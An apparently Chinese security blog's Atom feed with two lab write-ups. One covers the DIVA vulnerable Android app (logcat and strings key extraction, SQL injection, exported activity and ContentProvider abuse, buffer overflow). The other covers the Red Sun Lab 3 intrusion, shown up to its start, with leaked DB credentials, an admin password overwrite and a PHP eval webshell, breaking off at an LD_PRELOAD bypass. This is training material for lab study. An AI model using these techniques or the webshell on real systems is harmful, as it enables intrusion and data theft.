<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>fortuneh2c</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>http://82.156.189.140:8085/</id>
  <link href="http://82.156.189.140:8085/" rel="alternate"/>
  <link href="http://82.156.189.140:8085/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, fortuneh2c</rights>
  <subtitle>CTF / 安全 / 随笔</subtitle>
  <title>fortuneh2c 的博客</title>
  <updated>2026-07-18T03:20:43.929Z</updated>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Android" scheme="http://82.156.189.140:8085/tags/Android/"/>
    <category term="逆向" scheme="http://82.156.189.140:8085/tags/%E9%80%86%E5%90%91/"/>
    <category term="漏洞分析" scheme="http://82.156.189.140:8085/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <content>
      <![CDATA[<p>核心理念只有一句话：</p><blockquote><p><strong>不读判断逻辑，找 API 特征。</strong></p></blockquote><p>每类漏洞都对应一组固定的 Android API。搜到 API，就确定了攻击方向；剩下的，只是确认路径。</p><p>本文按 DIVA 各关卡整理一套「API 特征驱动」的 Android 漏洞方法论，覆盖存储泄露、输入验证、访问控制和 Native 层问题。</p><hr><h2 id="Level-1-—-Insecure-Logging（日志泄露）"><a href="#Level-1-—-Insecure-Logging（日志泄露）" class="headerlink" title="Level 1 — Insecure Logging（日志泄露）"></a>Level 1 — Insecure Logging（日志泄露）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>Log.e()</code> &#x2F; <code>Log.d()</code> &#x2F; <code>Log.v()</code> &#x2F; <code>Log.w()</code></td></tr><tr><td>数据终点</td><td>logcat（系统级环形缓冲区，所有 APP 共享）</td></tr><tr><td>发现手法</td><td>反编译搜 <code>Log\.</code>，或 <code>strings classes.dex | grep -i &quot;Log\.&quot;</code></td></tr><tr><td>攻击命令</td><td><code>adb logcat -d | grep &lt;tag&gt;</code>，或直接 <code>adb logcat -d</code> dump 全部</td></tr></tbody></table><p><strong>平台特征：</strong> logcat 是 Android 的内核级日志设施，不区分进程。任何能执行 <code>adb logcat</code> 的人，都能读到所有 APP 写的日志。APP 自身 <code>Log.i/d/e</code> 调用的目标就是 logcat——这是平台决定的，不是开发者发明的。</p><p><strong>逆向链路：</strong></p><p>看到 <code>Log.e(&quot;diva-log&quot;, ...)</code> → 知道数据流向 logcat → <code>adb logcat -d | grep diva-log</code> 直接收数据。</p><hr><h2 id="Level-2-—-Hardcoding-Issues（硬编码凭证）"><a href="#Level-2-—-Hardcoding-Issues（硬编码凭证）" class="headerlink" title="Level 2 — Hardcoding Issues（硬编码凭证）"></a>Level 2 — Hardcoding Issues（硬编码凭证）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>String.equals(&quot;硬编码字面量&quot;)</code> &#x2F; <code>setText(&quot;硬编码字面量&quot;)</code></td></tr><tr><td>数据终点</td><td>DEX 文件中的字符串常量池</td></tr><tr><td>发现手法</td><td>不要读 if-else 判断逻辑；用 <code>strings classes.dex | grep -i &quot;key|secret|password|api|vendor&quot;</code></td></tr><tr><td>攻击命令</td><td><code>strings classes.dex | grep -i &quot;vendor|secret&quot;</code></td></tr></tbody></table><p><strong>为什么 <code>strings</code> 有效：</strong> Java 字面量编译后会进入 DEX 常量池，<code>strings</code> 直接从二进制提取所有可读字符串。任何硬编码字符串都会裸露出现，不需要理解控制流。</p><p>示例：</p><ul><li><code>strings classes.dex | grep vendor</code> → <code>vendorsecretkey</code></li><li><code>strings classes.dex | grep API</code> → <code>API Key: 123secretapikey123</code>、<code>diva</code>、<code>p@ssword</code></li></ul><hr><h2 id="Level-3-—-Insecure-Data-Storage（不安全数据存储）"><a href="#Level-3-—-Insecure-Data-Storage（不安全数据存储）" class="headerlink" title="Level 3 — Insecure Data Storage（不安全数据存储）"></a>Level 3 — Insecure Data Storage（不安全数据存储）</h2><p>这一关包含 4 种存储方式，每种都对应不同的 Android 存储 API 和固定系统路径。</p><h3 id="Part-1-—-SharedPreferences"><a href="#Part-1-—-SharedPreferences" class="headerlink" title="Part 1 — SharedPreferences"></a>Part 1 — SharedPreferences</h3><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>PreferenceManager.getDefaultSharedPreferences()</code> &#x2F; <code>getSharedPreferences()</code></td></tr><tr><td>存储路径</td><td><code>/data/data/&lt;pkg&gt;/shared_prefs/*.xml</code></td></tr><tr><td>存储格式</td><td>明文 XML</td></tr><tr><td>发现手法</td><td>搜 <code>SharedPreferences</code> 或 <code>getDefaultSharedPreferences</code></td></tr><tr><td>攻击命令</td><td><code>cat /data/data/&lt;pkg&gt;/shared_prefs/*.xml</code></td></tr></tbody></table><p>SharedPreferences 是 Android SDK 内置键值存储，写入位置由平台固定。看到这个 API，就知道数据一定在 <code>shared_prefs/*.xml</code>。</p><p><strong>逆向链路：</strong> 反编译看到 <code>getDefaultSharedPreferences</code> → 攻击路径确定 → 无需分析保存&#x2F;读取逻辑细节。</p><h3 id="Part-2-—-SQLite-数据库"><a href="#Part-2-—-SQLite-数据库" class="headerlink" title="Part 2 — SQLite 数据库"></a>Part 2 — SQLite 数据库</h3><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>openOrCreateDatabase()</code> &#x2F; <code>SQLiteOpenHelper</code></td></tr><tr><td>存储路径</td><td><code>/data/data/&lt;pkg&gt;/databases/*</code></td></tr><tr><td>存储格式</td><td>SQLite 二进制，可用 <code>strings</code> 或 <code>sqlite3</code> 读取</td></tr><tr><td>发现手法</td><td>搜 <code>openOrCreateDatabase</code> 或 <code>SQLiteOpenHelper</code></td></tr><tr><td>攻击命令</td><td><code>strings /data/data/&lt;pkg&gt;/databases/*</code>，或 <code>sqlite3 &lt;db&gt; &quot;SELECT * FROM &lt;table&gt;&quot;</code></td></tr></tbody></table><p>与 Web 开发不同，Android 数据库路径是框架固化的：看到 <code>openOrCreateDatabase(&quot;ids2&quot;, ...)</code>，攻击路径就是 <code>/data/data/&lt;pkg&gt;/databases/ids2</code>。</p><h3 id="Part-3-—-内部存储文件（无固定文件名）"><a href="#Part-3-—-内部存储文件（无固定文件名）" class="headerlink" title="Part 3 — 内部存储文件（无固定文件名）"></a>Part 3 — 内部存储文件（无固定文件名）</h3><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>File.createTempFile()</code> &#x2F; <code>FileWriter</code> &#x2F; <code>FileOutputStream</code></td></tr><tr><td>存储路径</td><td><code>/data/data/&lt;pkg&gt;/</code> 内部，文件名由代码定义</td></tr><tr><td>发现手法</td><td>搜 <code>FileWriter</code>、<code>FileOutputStream</code>、<code>createTempFile</code>、<code>dataDir</code></td></tr><tr><td>攻击命令</td><td>先读代码确认文件名，再 <code>strings /data/data/&lt;pkg&gt;/&lt;file_name&gt;*</code></td></tr></tbody></table><p>这是开发者自定义文件操作，文件名不是平台固定的，必须看源码确认写到了哪个文件；但攻击方向（搜索文件 I&#x2F;O API）是确定的。</p><p>一个实用技巧：</p><p>看到 <code>File.createTempFile(&quot;prefix&quot;, &quot;suffix&quot;, dir)</code> + <code>getApplicationInfo().dataDir</code><br>→ 搜索 <code>strings /data/data/&lt;pkg&gt;/prefix*suffix</code>。</p><h3 id="Part-4-—-外部存储文件"><a href="#Part-4-—-外部存储文件" class="headerlink" title="Part 4 — 外部存储文件"></a>Part 4 — 外部存储文件</h3><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>Environment.getExternalStorageDirectory()</code></td></tr><tr><td>存储路径</td><td><code>/sdcard/</code> 或 <code>/storage/emulated/0/</code></td></tr><tr><td>发现手法</td><td>搜 <code>getExternalStorageDirectory</code> &#x2F; <code>getExternalStoragePublicDirectory</code></td></tr><tr><td>攻击命令</td><td><code>ls -la /sdcard/</code>，注意隐藏文件，再 <code>cat /sdcard/&lt;file&gt;</code></td></tr></tbody></table><p>外部存储是共享区域，无 root 也可能读。API 29+ 的 Scoped Storage 会加限制，但低版本和部分 ROM 仍较宽松。注意隐藏文件（如 <code>.uinfo.txt</code>）要用 <code>ls -la</code> 才能看到。</p><hr><h2 id="Level-7-—-SQL-Injection（SQL-注入）"><a href="#Level-7-—-SQL-Injection（SQL-注入）" class="headerlink" title="Level 7 — SQL Injection（SQL 注入）"></a>Level 7 — SQL Injection（SQL 注入）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>SQLiteDatabase.rawQuery()</code> + 字符串拼接</td></tr><tr><td>攻击面</td><td>搜索输入框，输入拼进 SQL</td></tr><tr><td>数据终点</td><td><code>/data/data/&lt;pkg&gt;/databases/*</code></td></tr><tr><td>发现手法</td><td>搜 <code>rawQuery</code> &#x2F; <code>execSQL</code>，看参数是否用 <code>+</code> 拼接</td></tr><tr><td>攻击命令</td><td>搜索框输入 <code>&#39; OR 1=1 --</code>；或用 <code>sqlite3</code> 直接查库验证</td></tr></tbody></table><p>Android 版 SQL 注入和 Web 版本质一样：用户输入拼进查询语句。区别只在于 Android 用 <code>rawQuery()</code>，数据库是本地 SQLite。</p><p>通用 payload：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">&#x27; OR 1=1 --<br></code></pre></td></tr></table></figure><p>漏洞确认后，建议直接 dump 数据库对比：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">run-as &lt;pkg&gt; sqlite3 /data/data/&lt;pkg&gt;/databases/&lt;db&gt; <span class="hljs-string">&quot;SELECT * FROM &lt;table&gt;&quot;</span><br></code></pre></td></tr></table></figure><hr><h2 id="Level-8-—-URI-Scheme-Bypass（URL-Scheme-绕过）"><a href="#Level-8-—-URI-Scheme-Bypass（URL-Scheme-绕过）" class="headerlink" title="Level 8 — URI Scheme Bypass（URL Scheme 绕过）"></a>Level 8 — URI Scheme Bypass（URL Scheme 绕过）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>WebView.loadUrl()</code> 无 scheme 白名单</td></tr><tr><td>攻击面</td><td>URL 输入框 → WebView 加载</td></tr><tr><td>发现手法</td><td>搜 <code>loadUrl</code> &#x2F; <code>WebView</code>，看是否有 scheme 校验</td></tr><tr><td>攻击命令</td><td>输入 <code>file:///etc/hosts</code> 或 <code>content://&lt;provider_uri&gt;</code></td></tr></tbody></table><p><code>loadUrl()</code> 若接受任意 URL scheme，<code>http://</code>、<code>file://</code>、<code>content://</code> 都会进来。开发者只想着加载网页，却可能没拦住本地文件读取，也没禁止访问 ContentProvider。</p><p>常见攻击：</p><ol><li><code>file:///etc/hosts</code> → 读系统敏感文件  </li><li><code>content://jakhar.aseem.diva.provider.notesprovider/notes</code> → 跨 Provider 数据泄露</li></ol><p>这关还要和 Level 11 联动：如果 APP 有 exported ContentProvider，<code>loadUrl(&quot;content://...&quot;)</code> 可以绕过 PIN 等前端保护直接访问 Provider 数据。</p><hr><h2 id="Level-9-—-Exported-Activity（导出组件-—-Activity）"><a href="#Level-9-—-Exported-Activity（导出组件-—-Activity）" class="headerlink" title="Level 9 — Exported Activity（导出组件 — Activity）"></a>Level 9 — Exported Activity（导出组件 — Activity）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td>Manifest 中 <code>&lt;intent-filter&gt;</code> → <code>android:exported=&quot;true&quot;</code>（隐式默认）</td></tr><tr><td>攻击面</td><td>带 intent-filter 的 Activity 可被外部调用</td></tr><tr><td>发现手法</td><td>读 Manifest，或 <code>adb shell dumpsys package &lt;pkg&gt;</code></td></tr><tr><td>攻击命令</td><td><code>adb shell am start -n &lt;pkg&gt;/&lt;Activity&gt;</code></td></tr></tbody></table><p>Android 四大组件里，一旦声明 <code>&lt;intent-filter&gt;</code>，<code>android:exported</code> 默认就会变成 <code>true</code>，意味着外部可通过 <code>am start</code> 或 Intent 调用它。很多开发者并不清楚这个默认行为。</p><p><strong>攻击流程（API 特征法）：</strong></p><ol><li>不先读 <code>APICredsActivity</code> 的业务代码  </li><li>Manifest 看到它有 <code>&lt;intent-filter action=&quot;jakhar.aseem.diva.action.VIEW_CREDS&quot;/&gt;</code>  </li><li>执行：<code>adb shell am start -n jakhar.aseem.diva/.APICredsActivity</code>  </li><li>直接显示 API Key</li></ol><p>Activity 名本身（<code>APICredsActivity</code>）往往就是线索——不一定要先看代码。</p><hr><h2 id="Level-10-—-Intent-Data-Forging（Intent-数据伪造）"><a href="#Level-10-—-Intent-Data-Forging（Intent-数据伪造）" class="headerlink" title="Level 10 — Intent Data Forging（Intent 数据伪造）"></a>Level 10 — Intent Data Forging（Intent 数据伪造）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>Intent.getBooleanExtra()</code> 信任客户端传入的值</td></tr><tr><td>攻击面</td><td>Intent extra 由发送方控制，不可信</td></tr><tr><td>发现手法</td><td>搜 <code>getBooleanExtra</code> &#x2F; <code>getStringExtra</code>，看是否用于权限判断</td></tr><tr><td>攻击命令</td><td>正常流程中不勾选 RadioButton → 绕过 PIN 检查</td></tr></tbody></table><p>Intent extras 完全由调用方设置，就像 HTTP 请求参数由客户端控制。把 <code>putExtra(&quot;chk_pin&quot;, false)</code> 当作安全校验，等价于把 <code>?is_admin=true</code> 放在 URL 参数里。</p><p>常见漏洞模式：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">// Activity A</span><br>i.putExtra(<span class="hljs-string">&quot;chk_pin&quot;</span>, chk_pin);  <span class="hljs-comment">// 来自客户端 RadioButton</span><br><br><span class="hljs-comment">// Activity B</span><br><span class="hljs-type">boolean</span> <span class="hljs-variable">bcheck</span> <span class="hljs-operator">=</span> i.getBooleanExtra(<span class="hljs-string">&quot;chk_pin&quot;</span>, <span class="hljs-literal">true</span>);<br><span class="hljs-keyword">if</span> (!bcheck) &#123;<br>    showCredentials();<br>&#125;<br></code></pre></td></tr></table></figure><p><strong>攻击思路：</strong></p><ol><li>Manifest 看到 <code>APICreds2Activity</code> 无 intent-filter → 只能内部调用  </li><li>反编译搜 <code>startActivity</code>，找到调用方 <code>AccessControl2Activity</code>  </li><li>看到 <code>getBooleanExtra(&quot;chk_pin&quot;)</code> → 权限判断依赖 Intent 数据  </li><li>追溯到 RadioButton → 不勾选即可绕过</li></ol><p>补充：<code>getBooleanExtra(&quot;chk_pin&quot;, true)</code> 默认值是 <code>true</code>。有时直接构造 <code>--ez chk_pin false</code> 会因传递问题不稳定，但 UI 流程（不勾选）通常更稳。</p><hr><h2 id="Level-11-—-Exported-ContentProvider（导出组件-—-ContentProvider）"><a href="#Level-11-—-Exported-ContentProvider（导出组件-—-ContentProvider）" class="headerlink" title="Level 11 — Exported ContentProvider（导出组件 — ContentProvider）"></a>Level 11 — Exported ContentProvider（导出组件 — ContentProvider）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td>Manifest <code>&lt;provider android:exported=&quot;true&quot;&gt;</code> + <code>ContentProvider.query()</code></td></tr><tr><td>攻击面</td><td>ContentProvider 是跨 APP 数据共享接口</td></tr><tr><td>发现手法</td><td>读 Manifest，找 <code>exported=&quot;true&quot;</code> 的 provider</td></tr><tr><td>攻击命令</td><td><code>adb shell content query --uri content://&lt;authority&gt;/&lt;path&gt;</code></td></tr></tbody></table><p>ContentProvider 是 Android 特有 IPC 组件。<code>content</code> 命令是系统提供的命令行工具，标准 Linux 没有它。</p><p>关键特征：</p><ul><li>Activity 层有 PIN 保护，看起来安全  </li><li>Provider 自身没有认证，<code>NotesProvider.query()</code> 直接返回数据  </li><li>前端防御 ≠ 后端防御</li></ul><p><strong>攻击链路：</strong></p><ol><li>Manifest 看到<br><code>android:exported=&quot;true&quot;</code><br><code>authorities=&quot;jakhar.aseem.diva.provider.notesprovider&quot;</code></li><li>执行：</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">adb shell content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes<br></code></pre></td></tr></table></figure><ol start="3"><li>私密笔记直接返回，完全绕过 PIN</li></ol><p>而且不仅能读：<code>content insert</code> &#x2F; <code>update</code> &#x2F; <code>delete</code> 同样可用。</p><hr><h2 id="Level-12-—-Native-Hardcoding（Native-层硬编码）"><a href="#Level-12-—-Native-Hardcoding（Native-层硬编码）" class="headerlink" title="Level 12 — Native Hardcoding（Native 层硬编码）"></a>Level 12 — Native Hardcoding（Native 层硬编码）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>System.loadLibrary()</code> + <code>.so</code> 中的 <code>strcmp</code> &#x2F; 字符串常量</td></tr><tr><td>数据终点</td><td>ELF 的 <code>.rodata</code> 段（不是 DEX 常量池）</td></tr><tr><td>发现手法</td><td><code>strings lib/*/lib*.so | grep -i &quot;key|secret|password&quot;</code></td></tr><tr><td>攻击命令</td><td><code>unzip -p app.apk lib/*/lib*.so | strings</code></td></tr></tbody></table><p>和 Level 2 的区别只是存放位置：</p><ul><li>Level 2：密钥在 DEX（Java）层  </li><li>Level 12：密钥被搬到 Native（<code>.so</code>）层</li></ul><p>开发者常以为编译成 <code>.so</code> 就等于“加密”，但 ELF 的 <code>.rodata</code> 仍然明文存放字符串常量，<code>strings</code> 照读不误。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">unzip -p DivaApplication.apk lib/x86/libdivajni.so | strings | grep -i key<br><span class="hljs-comment"># → olsdfgad;lh</span><br></code></pre></td></tr></table></figure><p><strong><code>strings</code> 是万能钥匙：</strong> 不管是 DEX、ELF、资源文件还是数据库，它都能抽出可读字符串。</p><hr><h2 id="Level-13-—-Native-Buffer-Overflow（Native-层缓冲区溢出）"><a href="#Level-13-—-Native-Buffer-Overflow（Native-层缓冲区溢出）" class="headerlink" title="Level 13 — Native Buffer Overflow（Native 层缓冲区溢出）"></a>Level 13 — Native Buffer Overflow（Native 层缓冲区溢出）</h2><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>靶心 API</td><td><code>strcpy()</code> 无长度检查</td></tr><tr><td>攻击面</td><td>用户输入 → JNI → Native <code>strcpy</code> → 栈溢出</td></tr><tr><td>发现手法</td><td>搜 <code>strcpy</code> &#x2F; <code>strcat</code> &#x2F; <code>gets</code> &#x2F; <code>sprintf</code></td></tr><tr><td>攻击命令</td><td>输入 500+ 字符 → 观察 <code>SIGSEGV</code></td></tr></tbody></table><p>Java 本身没有缓冲区溢出，但 JNI 把参数送到 C 层后，安全边界就断了。</p><p>不读 C 源码也能确认漏洞：</p><ol><li>反编译看到 JNI 方法接收用户输入  </li><li>输入超长字符串  </li><li>logcat 出现 <code>SIGSEGV</code>，且 crash 地址落在 <code>libdivajni.so</code>  </li><li>即可确认缓冲区溢出</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">Fatal signal 11 (SIGSEGV), code 128 (SI_KERNEL), fault addr 0x0<br>  in tid 7615 ... libdivajni.so (Java_jakhar_aseem_diva_DivaJni_initiateLaunchSequence+67)<br></code></pre></td></tr></table></figure><p>在 DIVA 这类靶场里，PoC 通常是 DoS；真实场景中，精确控制溢出可进一步劫持控制流做 ROP。</p><hr><h2 id="方法论总结"><a href="#方法论总结" class="headerlink" title="方法论总结"></a>方法论总结</h2><h3 id="Level-7–13-速查"><a href="#Level-7–13-速查" class="headerlink" title="Level 7–13 速查"></a>Level 7–13 速查</h3><table><thead><tr><th>关卡</th><th>漏洞类型</th><th>靶心 API</th></tr></thead><tbody><tr><td>Level 7</td><td>SQL 注入</td><td><code>rawQuery()</code> + 字符串拼接</td></tr><tr><td>Level 8</td><td>URL Scheme 绕过</td><td><code>WebView.loadUrl()</code> 无 scheme 校验</td></tr><tr><td>Level 9</td><td>导出 Activity</td><td><code>&lt;intent-filter&gt;</code> → exported&#x3D;true</td></tr><tr><td>Level 10</td><td>Intent 数据伪造</td><td><code>getBooleanExtra()</code> 信任客户端</td></tr><tr><td>Level 11</td><td>导出 ContentProvider</td><td><code>&lt;provider exported=&quot;true&quot;&gt;</code></td></tr><tr><td>Level 12</td><td>Native 硬编码</td><td><code>System.loadLibrary()</code> + <code>.so</code> 字符串</td></tr><tr><td>Level 13</td><td>Native 缓冲区溢出</td><td><code>strcpy()</code> 无边界检查</td></tr></tbody></table><h3 id="Level-1–13-分类"><a href="#Level-1–13-分类" class="headerlink" title="Level 1–13 分类"></a>Level 1–13 分类</h3><ul><li><strong>存储类</strong>：Level 1（logcat）&#x2F; Level 2（DEX 常量池）&#x2F; Level 3（SharedPrefs、SQLite、文件）&#x2F; Level 12（<code>.so</code> 的 <code>.rodata</code>）</li><li><strong>输入验证类</strong>：Level 7（SQL 注入）&#x2F; Level 8（URL Scheme）&#x2F; Level 13（Buffer Overflow）</li><li><strong>访问控制类</strong>：Level 9（导出 Activity）&#x2F; Level 10（Intent 伪造）&#x2F; Level 11（导出 ContentProvider）</li></ul><h3 id="贯穿-13-关的核心原则"><a href="#贯穿-13-关的核心原则" class="headerlink" title="贯穿 13 关的核心原则"></a>贯穿 13 关的核心原则</h3><ol><li><strong>搜 API，不读逻辑</strong> — 每类漏洞都有固定 Android API 特征  </li><li><strong><code>strings</code> 是万能钥匙</strong> — DEX &#x2F; ELF &#x2F; DB 都能抽字符串  </li><li><strong>Manifest 是第一入口</strong> — 导出组件一览无余  </li><li><strong>平台特征决定攻击路径</strong> — 存储位置、IPC、导出规则由 Android 固化  </li><li><strong>JNI 打破 Java 安全边界</strong> — Native 引入 C 类漏洞分析方法  </li><li><strong>先搜 <code>strings</code>，再反编译</strong> — 命中方向 → 定位代码 → 构造攻击，效率最高</li></ol><hr><p>写给以后的自己：</p><p>Android 漏洞分析最省时间的路径，往往不是“先读懂业务”，而是“先识别平台 API 暴露的攻击面”。DIVA 这 13 关，本质就是在反复练习这件事。</p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/18/DIVA-%E9%80%9A%E5%85%B3%E7%AC%94%E8%AE%B0/</id>
    <link href="http://82.156.189.140:8085/2026/07/18/DIVA-%E9%80%9A%E5%85%B3%E7%AC%94%E8%AE%B0/"/>
    <published>2026-07-18T08:00:00.000Z</published>
    <summary>
      <![CDATA[<p>核心理念只有一句话：</p>
<blockquote>
<p><strong>不读判断逻辑，找 API 特征。</strong></p>
</blockquote>
<p>每类漏洞都对应一组固定的 Android API。搜到 API，就确定了攻击方向；剩下的，只是确认路径]]>
    </summary>
    <title>DIVA 通关笔记 — Android 逆向漏洞方法论</title>
    <updated>2026-07-18T03:20:43.929Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="红日靶场" scheme="http://82.156.189.140:8085/categories/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="红日" scheme="http://82.156.189.140:8085/tags/%E7%BA%A2%E6%97%A5/"/>
    <category term="渗透" scheme="http://82.156.189.140:8085/tags/%E6%B8%97%E9%80%8F/"/>
    <content>
      <![CDATA[<h1 id="红日靶场3（Red-Sun-Lab-3）渗透全记录"><a href="#红日靶场3（Red-Sun-Lab-3）渗透全记录" class="headerlink" title="红日靶场3（Red Sun Lab 3）渗透全记录"></a>红日靶场3（Red Sun Lab 3）渗透全记录</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>红日靶场系列一直是内网渗透的经典靶场，这次趁着周末把靶场3从头到尾通了一遍。整个流程涵盖了从外网打点到内网横向移动、最终拿下域控的完整攻击链，记录一下思路和操作，供大家参考。</p><hr><h2 id="一、环境概述"><a href="#一、环境概述" class="headerlink" title="一、环境概述"></a>一、环境概述</h2><p>靶场网络拓扑如下：</p><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs dns">攻击机 (<span class="hljs-number">192.168.111.25</span>)<br>    │<br>    ├── 边界机 (<span class="hljs-number">192.168.111.20</span> / <span class="hljs-number">192.168.93.100</span>) — CentOS<br>    │       └── 内网机 (<span class="hljs-number">192.168.93.120</span>) — CentOS (Web服务)<br>    │<br>    └── 内网段 <span class="hljs-number">192.168.93.0</span>/<span class="hljs-number">24</span><br>            ├── <span class="hljs-number">192.168.93.10</span> — Windows Server <span class="hljs-number">2008</span> (域控 DC)<br>            ├── <span class="hljs-number">192.168.93.20</span> — Windows Server <span class="hljs-number">2008</span><br>            └── <span class="hljs-number">192.168.93.30</span> — Windows <span class="hljs-number">7</span> (域成员)<br></code></pre></td></tr></table></figure><blockquote><p><strong>关键点</strong>：外网访问的是 192.168.111.20，但实际 Joomla 服务跑在 192.168.93.120 上，中间有一层反向代理。</p></blockquote><hr><h2 id="二、外网打点-—-Joomla-CMS"><a href="#二、外网打点-—-Joomla-CMS" class="headerlink" title="二、外网打点 — Joomla CMS"></a>二、外网打点 — Joomla CMS</h2><h3 id="2-1-配置文件泄露"><a href="#2-1-配置文件泄露" class="headerlink" title="2.1 配置文件泄露"></a>2.1 配置文件泄露</h3><p>访问目标时发现存在 <code>configuration.php~</code> 备份文件泄露：</p><figure class="highlight dts"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs dts"><span class="hljs-symbol">http:</span><span class="hljs-comment">//192.168.111.20/configuration.php~</span><br></code></pre></td></tr></table></figure><p>成功读取到数据库配置信息：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td>数据库用户</td><td>testuser</td></tr><tr><td>数据库密码</td><td>cvcvgjASD!@</td></tr><tr><td>数据库名</td><td>joomla</td></tr><tr><td>表前缀</td><td>am2zu_</td></tr></tbody></table><h3 id="2-2-修改管理员密码"><a href="#2-2-修改管理员密码" class="headerlink" title="2.2 修改管理员密码"></a>2.2 修改管理员密码</h3><p>拿到数据库凭据后，直接远程连接 MySQL：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">mysql -h 192.168.111.20 -u testuser -p<span class="hljs-string">&#x27;cvcvgjASD!@&#x27;</span> joomla<br></code></pre></td></tr></table></figure><p>查看用户表发现超级管理员账户：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> id, username <span class="hljs-keyword">FROM</span> am2zu_users;<br><span class="hljs-comment">-- 结果: id=891, username=administrator</span><br></code></pre></td></tr></table></figure><p>生成 Joomla 格式的密码哈希（MD5:salt）：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">UPDATE</span> am2zu_users <span class="hljs-keyword">SET</span> password<span class="hljs-operator">=</span><span class="hljs-string">&#x27;d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&#x27;</span> <span class="hljs-keyword">WHERE</span> id<span class="hljs-operator">=</span><span class="hljs-number">891</span>;<br></code></pre></td></tr></table></figure><p>新密码设为 <code>secret</code>，成功登录后台。</p><h3 id="2-3-上传-WebShell"><a href="#2-3-上传-WebShell" class="headerlink" title="2.3 上传 WebShell"></a>2.3 上传 WebShell</h3><p>登录 Joomla 后台后，通过 Extensions → Templates → Beez3 → 编辑 index.php，在文件末尾插入一句话木马：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> @<span class="hljs-keyword">eval</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">&#x27;x&#x27;</span>]); <span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>哥斯拉连接成功，webshell 上线。</p><hr><h2 id="三、权限提升-—-CentOS-提权"><a href="#三、权限提升-—-CentOS-提权" class="headerlink" title="三、权限提升 — CentOS 提权"></a>三、权限提升 — CentOS 提权</h2><h3 id="3-1-绕过-disable-functions"><a href="#3-1-绕过-disable-functions" class="headerlink" title="3.1 绕过 disable_functions"></a>3.1 绕过 disable_functions</h3><p>哥斯拉连接后发现 PHP 的 disable_functions 限制了大部分命令执行函数，但 <code>putenv()</code> 和 <code>mail()</code> 可用。使用 <strong>LD_PRELOAD 技术</strong>绕过：</p><p><strong>payload.c</strong>（共享库源码）：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 